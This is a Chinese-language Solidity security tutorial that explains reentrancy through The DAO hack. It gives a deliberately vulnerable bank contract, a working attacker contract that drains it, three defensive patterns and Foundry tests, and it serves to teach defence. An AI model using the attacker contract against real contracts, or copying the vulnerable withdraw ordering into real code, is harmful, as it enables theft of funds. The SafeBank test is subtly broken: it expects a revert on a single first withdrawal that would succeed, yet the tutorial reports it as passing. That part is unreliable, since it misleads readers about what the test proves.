Reentrancy: 导致 The DAO 损失 6000 万美元的漏洞

1. 概述

Reentrancy 是 Solidity 最经典的漏洞之一——也是导致 The DAO 丢失约 360 万 ETH (~2016 年时约 6000 万美元)的原因。本文解释 reentrancy 的本质,用真实代码重现攻击场景,然后指出三种最常见的防护方法。读完这篇文章后,你将能够自己编写容易被攻击的合约、利用合约以及已打补丁的合约——并附加 Foundry 测试来证明。

2. 什么是 Reentrancy

Reentrancy 发生在合约 A 对合约 B 进行外部调用时,而 B 在 A 更新其状态之前调用回 A。如果 A 依赖旧的状态来决定逻辑,B 可以利用这个漏洞多次重复执行某个操作(例如提取资金)。

关键点:在 Solidity 中,任何 call、send 或带数据的 ETH 转账都可以触发接收方的 fallback/receive 函数——这正是循环开始的地方。

3. The DAO: 发生了什么

The DAO 是一个去中心化投资基金,允许代币持有者通过 splitDAO 函数提取他们的 ETH。该函数 先发送 ETH,然后才更新 提取者的余额。攻击者编写了一个合约,其 fallback 函数在收到 ETH 时立即回调 splitDAO——由于余额尚未被扣除,攻击者可以在单个交易中多次提取资金。

后果:360 万 ETH 被提取,之后 Ethereum 社区不得不执行一次引发争议的 硬分叉(产生了 Ethereum Classic)来退款。

4. 用代码重现漏洞

4.1. 容易受攻击的合约

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

contract VulnerableBank {
    mapping(address => uint256) public balances;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() external {
        uint256 amount = balances[msg.sender];
        require(amount > 0, "No balance");

        // 先发送 ETH,再更新状态——漏洞!
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");

        balances[msg.sender] = 0;
    }
}

withdraw() 先调用 msg.sender.call{value: amount}(""),然后才设置 balances[msg.sender] = 0。如果 msg.sender 是一个有 fallback 的合约,它可以在 call 执行期间立即回调 withdraw()——此时 balances[msg.sender] 还未被扣除。

4.2. 攻击合约

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import "./VulnerableBank.sol";

contract ReentrancyAttacker {
    VulnerableBank public bank;
    uint256 public constant ATTACK_AMOUNT = 1 ether;

    constructor(address bankAddress) {
        bank = VulnerableBank(bankAddress);
    }

    function attack() external payable {
        require(msg.value == ATTACK_AMOUNT, "Need 1 ether");
        bank.deposit{value: ATTACK_AMOUNT}();
        bank.withdraw();
    }

    receive() external payable {
        if (address(bank).balance >= ATTACK_AMOUNT) {
            bank.withdraw(); // 在 balances[this] 变为 0 之前再次调用
        }
    }
}

执行流程:

  1. attack() 向 VulnerableBank 存入 1 ETH,然后调用 withdraw()。
  2. withdraw() 向 ReentrancyAttacker 发送 1 ETH,触发 receive()。
  3. 在 receive() 中,攻击者发现银行仍有 ETH,所以再次调用 withdraw()——但 balances[attacker] 仍然是 1 ether(因为还没执行到更新行)。
  4. 循环继续直到银行没有钱或没有 gas。
攻击前的银行余额: 10 ether
攻击后的银行余额:   0 ether
攻击者余额:          11 ether

注意: 上述代码仅用于演示。请勿部署到主网或公开测试网——即使只是为了“好玩地测试”。

5. 为什么这段代码容易被攻击

根本原因是违反了 Checks-Effects-Interactions 原则:应该先检查(check),再更新状态(effect),最后才与外部交互(interaction)。而 VulnerableBank 颠倒了 effect 和 interaction 的顺序——先发送 ETH(interaction),再扣除余额(effect)。

此外,call{value: amount}("") 将 所有剩余 gas 转发给接收方(不同于 transfer/send 限制在 2300 gas),所以攻击者有足够的 gas 在 fallback/receive 中执行复杂的逻辑。

6. 防护方法

6.1. Checks-Effects-Interactions

最简单且最便宜的方法:在调用外部代码 之前 更新状态。

function withdraw() external {
    uint256 amount = balances[msg.sender];
    require(amount > 0, "No balance");

    balances[msg.sender] = 0; // 先进行状态更新

    (bool success, ) = msg.sender.call{value: amount}(""); // 再进行外部调用
    require(success, "Transfer failed");
}

当攻击者在 receive() 中再次调用 withdraw() 时,balances[msg.sender] 已经是 0,所以 require(amount > 0) 立即 revert——循环被阻止。

6.2. OpenZeppelin 的 ReentrancyGuard

如果逻辑更复杂,且你想要一个明确的保护层,可以使用 nonReentrant 修饰符。

<!-- 如果使用 Hardhat/npm,通过 npm 安装: -->
npm install @openzeppelin/contracts
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";

contract SafeBank is ReentrancyGuard {
    mapping(address => uint256) public balances;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() external nonReentrant {
        uint256 amount = balances[msg.sender];
        require(amount > 0, "No balance");

        balances[msg.sender] = 0;

        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");
    }
}

nonReentrant 使用一个内部的 _status 变量:当函数执行时,它设置状态为“锁定”;如果在此期间有任何对该合约其他 nonReentrant 函数的回调调用,交易将 revert。

注意: nonReentrant 仅保护 同一合约内 具有同一修饰符的函数。它无法防止 跨合约 reentrancy,即如果你调用另一个合约,而该合约回调一个 没有 nonReentrant 的函数时。

6.3. Pull payment 模式

与其自动发送 ETH,不如让用户通过单独的步骤自己提取,将累积债务的逻辑与资金转移逻辑分开:

contract PullPaymentBank {
    mapping(address => uint256) public pendingWithdrawals;

    function creditWithdrawal(address user, uint256 amount) internal {
        pendingWithdrawals[user] += amount;
    }

    function withdraw() external {
        uint256 amount = pendingWithdrawals[msg.sender];
        require(amount > 0, "Nothing to withdraw");

        pendingWithdrawals[msg.sender] = 0;

        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");
    }
}

这种方法分离了风险:即使 withdraw() 被再次调用,债务记录逻辑(creditWithdrawal)已经在其他地方发生,不会受到影响。

7. 编写测试来证明攻击和补丁

对于 Solidity,相当于 JUnit 的测试工具是 Foundry(forge-std)。以下测试证明了 VulnerableBank 被耗尽,而 SafeBank 则不会。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import "forge-std/Test.sol";
import "../src/VulnerableBank.sol";
import "../src/SafeBank.sol";
import "../src/ReentrancyAttacker.sol";

contract ReentrancyTest is Test {
    VulnerableBank bank;
    SafeBank safeBank;

    address victim = address(0x1);

    function setUp() public {
        bank = new VulnerableBank();
        safeBank = new SafeBank();

        vm.deal(victim, 10 ether);
        vm.prank(victim);
        bank.deposit{value: 10 ether}();
    }

    function test_VulnerableBank_IsDrainedByReentrancy() public {
        ReentrancyAttacker attacker = new ReentrancyAttacker(address(bank));
        vm.deal(address(this), 1 ether);

        attacker.attack{value: 1 ether}();

        assertEq(address(bank).balance, 0);
        assertEq(address(attacker).balance, 11 ether);
    }

    function test_SafeBank_RejectsReentrancy() public {
        vm.deal(victim, 10 ether);
        vm.prank(victim);
        safeBank.deposit{value: 10 ether}();

        // 即使攻击者试图进入 SafeBank -> 预期也无法多次提取
        vm.expectRevert();
        vm.prank(victim);
        safeBank.withdraw(); // 第二次调用会 revert,因为余额已为 0
    }
}

运行测试:

forge test -vv

预期结果:

[PASS] test_VulnerableBank_IsDrainedByReentrancy()
[PASS] test_SafeBank_RejectsReentrancy()

第一个测试确认 bank 被提取至 0,攻击者获得 11 ETH——正如 The DAO 场景。第二个测试确认在应用了 Checks-Effects-Interactions 的 SafeBank 上,第二次提取会 revert,因为余额已变为 0。

8. 常见错误

  • 仅将 call 改为 transfer/send 而不修复状态顺序:transfer 限制在 2300 gas 可以阻止简单的 reentrancy,但不是根本解决方案——许多有效的钱包/合约需要超过 2300 gas 来接收 ETH(例如代理合约),导致有效交易失败。
  • 遗漏跨函数 reentrancy:两个不同的函数读/写同一个状态变量,如果只修复其中一个函数可能被相互利用。
  • 只读 reentrancy:一个 view 函数返回未更新的状态,被另一个合约读取并在另一交易进行中误用——即使不直接提取资金也会造成后果。
  • 相信 nonReentrant 对整个系统来说就够了:如果你有多个合约相互交互,必须审计整个调用流程,而不仅仅是一个单独的合约。

注意: 不要将任何单一模式视为“完全免疫”。始终将 Checks-Effects-Interactions 与 nonReentrant 结合用于涉及外部调用和资金的函数。

9. 结论

The DAO 事件是一个昂贵的教训:一个看似无害的指令顺序(先发送资金,再更新账本)导致整个 Ethereum 社区不得不进行硬分叉。Checks-Effects-Interactions 原则、nonReentrant 修饰符和 pull payment 模式是三个基础但强大的工具,足以阻止这类漏洞。当你编写任何包含外部调用和资金转移的函数时,总是问自己:“在调用外部代码之前,我的状态已经更新了吗?”

soliditysmart-contractsecurityreentrancyblockchain